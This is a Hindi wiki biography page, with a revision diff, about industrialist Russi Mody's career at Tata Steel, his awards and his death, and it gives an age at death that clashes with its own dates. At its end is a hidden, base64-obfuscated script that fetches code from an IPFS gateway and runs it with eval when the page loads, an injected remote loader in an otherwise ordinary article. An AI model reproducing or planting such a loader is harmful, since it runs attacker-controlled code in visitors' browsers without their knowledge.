रूसी मोदी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replacement - " महान " to " महान् ")
No edit summary
Line 68: Line 68:
==संबंधित लेख==
==संबंधित लेख==
{{उद्योगपति और व्यापारी}}
{{उद्योगपति और व्यापारी}}
[[Category:पद्म भूषण]]
[[Category:पद्म भूषण]][[Category:उद्योगपति और व्यापारी]][[Category:जीवनी साहित्य]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:वाणिज्य व्यापार कोश]]
[[Category:उद्योगपति और व्यापारी]][[Category:प्रसिद्ध व्यक्तित्व]] [[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:वाणिज्य व्यापार कोश]]
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

Revision as of 06:51, 16 May 2018

रूसी मोदी
पूरा नाम रुस्तमजी होमुसजी मोदी
जन्म 17 मई, 1918
जन्म भूमि मुम्बई, महाराष्ट्र
मृत्यु 16 मई, 2014
मृत्यु स्थान कोलकाता, पश्चिम बंगाल
अभिभावक 'सर होमी मोदी' और 'लेडी जेराबाई'
पति/पत्नी सिलु मुगासेठ
कर्म भूमि भारत
कर्म-क्षेत्र उद्योगपति
शिक्षा स्नातक
विद्यालय 'हैरो स्कूल', लंदन और 'क्राइस्ट चर्च कॉलेज', ऑक्सफ़ोर्ड
पुरस्कार-उपाधि 'पद्मभूषण', 'भारत के स्टील मैन'
विशेष योगदान रूसी मोदी ने जमशेदपुर को इस्ताप नगरी बनाने में महत्त्वपूर्ण भूमिका निभाई थी।
नागरिकता भारतीय
संबंधित लेख रतन टाटा, जमशेद जी टाटा, जे. आर. डी. टाटा
अन्य जानकारी रूसी मोदी ने वर्ष 1998 में जमशेदपुर लोकसभा सीट से निर्दलीय उम्मीदवार के रूप में चुनाव भी लड़ा था। इस लोकसभा चुनाव में वे दूसरे स्थान पर रहे थे।

रुस्तमजी होमुसजी मोदी संक्षिप्त नाम 'रूसी मोदी' (अंग्रेज़ी: Russi Mody, जन्म- 17 मई, 1918, मुम्बई ; मृत्यु- 16 मई, 2014, कोलकाता) टाटा समूह के शीर्ष सदस्य थे। वे एयर इंडिया और तत्कालीन इंडियन एयरलाइंस के पूर्व संयुक्त अध्यक्ष और टाटा स्टील के सीएमडी थे। रूसी मोदी वर्ष 1939 में तत्कालीन टेस्को कंपनी में दैनिक वेतन भोगी के तौर पर एक प्रशिक्षु के रूप में जुड़े थे। तब उन्हें 50 पैसे दैनिक वेतन मिलता था। धीरे-धीरे वे कंपनी के लिए काम करते गए और 1993 में टाटा स्टील के अध्यक्ष नियुक्त किये गए। इन्होंने जमशेदपुर को इस्ताप नगरी बनाने में महत्त्वपूर्ण भूमिका निभाई थी।

जन्म तथा परिवार

रूसी मोदी का जन्म 17 मई, 1918 को बम्बई प्रेसीडेंसी (ब्रिटिश कालीन भारत) में एक पारसी परिवार में हुआ था। इनके पिता का नाम सर होमी मोदी था और माता लेडी जेराबाई थीं। इनके दो भाई थे। रूसी मोदी का विवाह सिलु मुगासेठ से हुआ था। इनकी कोई संतान नहीं थी।[1]

शिक्षा

रूसी मोदी की प्रारम्भिक शिक्षा भारत में ही हुई थी। हालाँकि आगे की शिक्षा पूरी करने के लिए उन्हें विदेश भेज दिया गया था। उन्होंने लंदन के हैरो स्कूल से शिक्षा पाई और फिर वहीं के क्राइस्ट चर्च कॉलेज, ऑक्सफ़ोर्ड से अपनी स्नातक की शिक्षा पूर्ण की।

आइंसटीन का साथ

'जमशेदपुर सिटीजन फ़ोरम' के अध्यक्ष ए. के. श्रीवास्तव के अनुसार उत्तर प्रदेश के राज्यपाल रहे सर होमी मोदी के पुत्र रूसी मोदी को इंग्लैंड के 'ऑक्सफोर्ड विश्वविद्यालय' में पढ़ाई के दौरान महान् वैज्ञानिक आइंसटीन के साथ भी वक्त बिताने का मौका मिला था।[2]

प्रशिक्षु रूप में कार्य

अपनी शिक्षा पूर्ण करने के बाद वर्ष 1939 में रूसी मोदी भारत वापस लौट आये और फिर 'टिस्को कम्पनी' में ऑफ़िस असिस्टेंट के रूप में दैनिक वेतन भोगी के तौर पर एक प्रशिक्षु के रूप में काम करना शुरू किया। उस समय उन्हें पचास पैसे दैनिक वेतन मिलता था। वे अपनी मेहनत और लगन के साथ कम्पनी के लिए कार्य करते रहे।

कम्पनी के अध्यक्ष

इसके बाद अपनी कठोर मेहनत के बल पर रूसी मोदी 1953 में कंपनी के कार्मिक निदेशक बने और 1965 में कच्चे माल के निदेशक बने। वर्ष 1970 में वह संचालन निदेशक नियुक्त किए गए और 1972 में संयुक्त प्रबंध निदेशक बन गए। दो वर्ष बाद ही वह प्रबंध निदेशक बन गए और 1984 में कंपनी के चेयरमैन व प्रबंध निदेशक बने। नौ वर्ष तक टाटा स्टील का नेतृत्व करने के बाद टाटा ग्रुप के चेयरमैन रतन टाटा के साथ कथित विवाद के कारण उन्हें 1993 में टिस्को से बाहर होना पड़ा।

पुरस्कार व सम्मान

टिस्को से सेवानिवृति के बाद तत्कालीन प्रधानमंत्री पी. वी. नरसिंह राव ने रूसी मोदी को एयर इंडिया और पूववर्ती इंडियन एयरलाइंस का संयुक्त अध्यक्ष नियुक्त किया। 'भारत सरकार' ने उनकी उपलब्धियों को देखते हुए उन्हें 1989 में 'पद्मभूषण' पुरस्कार से नवाजा। काम से सेवानिवृत्त के बाद उन्होंने कोलकाता महानगर को अपना घर बना लिया।[1] रूसी मोदी टाटा स्टील में तीन दशकों तक बेताज बादशाह थे। मैनेजमेंट गुरू रूसी मोदी को भारत के स्टील मैन की उपाधि से भी सम्मानित किया गया था।

जमशेदपुर की जनता के प्रिय

रूसी मोदी टाटा स्टील के कर्मचारियों के अतिरिक्त जमशेदपुर की जनता को भी बहुत प्रिय थे। उनमें हमेशा यहां के लोगों के बीच रहने की ललक रहती थी। एक बार उन्होंने जयराम यूथ क्लब का अध्यक्ष होने के नाते आदित्यपुर दुर्गा पूजा पंडाल का उद्घाटन करने का आग्रह किया तो सहर्ष तैयार हो गए थे। वह जब पंडाल का उद्घाटन करने पहुंचे तो उन्हें देखने के लिए इतनी भीड़ उमड़ी कि कई लोग मोदी साहब को देखने से वंचित रह गए।

लोकसभा चुनाव

रूसी मोदी ने वर्ष 1998 में जमशेदपुर लोकसभा सीट से निर्दलीय उम्मीदवार के रूप में चुनाव भी लड़ा था। इस लोकसभा चुनाव में वे दूसरे स्थान पर रहे थे। उन्हें लगभग दो लाख वोट मिले थे, लेकिन वे 97,000 मतों से हार गए थे।

  • खेल में रुचि रखने वाले रूसी मोदी ने जमशेदपुर में 1987 में 'टाटा फुटबाल एकेडमी' की स्थापना में महत्वपूर्ण भूमिका निभाई थी।

निधन

अधिक उम्र के बावजूद जब तक रूसी मोदी ने बिस्तर नहीं पकड़ा, तब तक वह सार्वजनिक रूप से सक्रिय जीवन व्यतीत करते रहे। दक्षिण कोलकाता के अलीपुर स्थित अपने आवास पर उन्होंने 16 मई, 2014 को शुक्रवार के दिन रात क़रीब 11.30 बजे अंतिम सांस ली। वह 97 वर्ष के थे। अधिक उम्र होने के कारण वह शारीरिक रूप से लाचार हो गये थे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 रूसी मोदी का निधन (हिन्दी)। । अभिगमन तिथि: 18 मई, 2014।
  2. आइंसटीन के साथ भी रहे रूसी मोदी (हिन्दी)। । अभिगमन तिथि: 18 मई, 2014।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>